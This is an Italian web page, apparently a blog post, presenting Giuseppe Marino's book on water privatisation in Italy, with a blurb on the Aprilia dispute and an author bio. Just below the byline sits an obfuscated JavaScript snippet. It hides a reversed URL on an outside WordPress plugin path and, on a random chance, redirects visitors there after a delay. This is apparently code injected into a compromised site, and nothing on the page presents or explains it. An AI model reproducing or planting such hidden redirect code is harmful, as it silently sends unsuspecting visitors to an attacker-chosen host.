La casta dell'acqua. Come la privatizzazione sta assetando l’Italia

image_pdfimage_print

di Giuseppe Marino, . Qui puoi acquistare il libro scontato

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/02/3dacqua200.png”>3dacqua200
La casta dell'acqua

Un compendio di tutte le principali questioni legate alle risorse idriche del nostro paese, dalla privatizzazione degli acquedotti alla qualità delle acque di rubinetto e minerali, dai problemi di tante realtà locali fino ai recenti dibattiti parlamentari.

Il nostro viaggio inizia in un angolo di Lazio alle porte di Roma, “tra la Via Pontina e il West”. Qui, in una terra che settant’anni fa è stata strappata alle acque e ora lotta per bere, si combatte dal 2004 una delle battaglie-simbolo del più contestato e controverso processo di privatizzazione avvenuto in Italia. Ad Aprilia 6.500 famiglie si battono strenuamente, da più di cinque anni, contro la gestione dell’acquedotto locale, affidata a una società mista pubblico-privato. La loro strategia è al contempo legale ed emotiva: è fatta di informazione, di ricorsi e controricorsi, di denunce, di opposizione a strumenti come i derivati finanziari ad alto rischio (gli stessi che hanno provocato l’attuale crisi dei mercati).

Questo libro usa la storia e le battaglie dei cittadini di Aprilia come percorso-guida e cartina tornasole della gestione delle risorse idriche in tutto il nostro paese. Ma non si parla solo d’acqua. Si parla anche di carta: quella delle bollette e quella filigranata delle banconote, un sacco di soldi (e di debiti). Quella, più volatile, su cui sono redatti i mille contratti, regolamenti, delibere e decreti (fino all’ultimo, del 18 novembre 2009) che costruiscono l’architettura di quella terra immateriale in cui il liquido più prezioso che abbiamo diventa inestimabile, soprattutto per gli affari. Attraverso il resoconto di tanti altri casi di protesta civile, presenti ormai in ogni regione italiana, il lettore scoprirà che della riforma sono stati traditi i principi ispiratori e le premesse stabilite con la legge Galli, che era pensata per migliorare il servizio al cittadino e ridurre gli sprechi.

Nella stragrande maggioranza dei casi, i due obiettivi non sono stati raggiunti; in compenso, sono nate centinaia di nuove poltrone per politici locali e affaristi negli ATO (Ambiti territoriali ottimali, i parlamentini locali dell’acqua) e si sono moltiplicate le spese, le consulenze e gli introiti per le multinazionali specializzate del settore. Il tutto a fronte di un aumento delle bollette e della rabbia dei cittadini.

La casta dell’acqua è un compendio di tutte le principali questioni legate alle risorse idriche del nostro paese, dalla privatizzazione degli acquedotti alla qualità delle acque di rubinetto e minerali, dai problemi di tante realtà locali fino ai recenti dibattiti parlamentari. Un libro che, per l’importanza dell’argomento e delle sue ramificazioni a livello politico, economico, sanitario e sociale, dovrebbe interessare ognuno di noi.

Giuseppe Marino (1969) è palermitano di nascita, romano d’adozione, milanese per lavoro. Vice-caporedattore del Giornale per l’attualità, ha lavorato per svariati quotidiani, radio, emittenti televisive e siti Internet.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *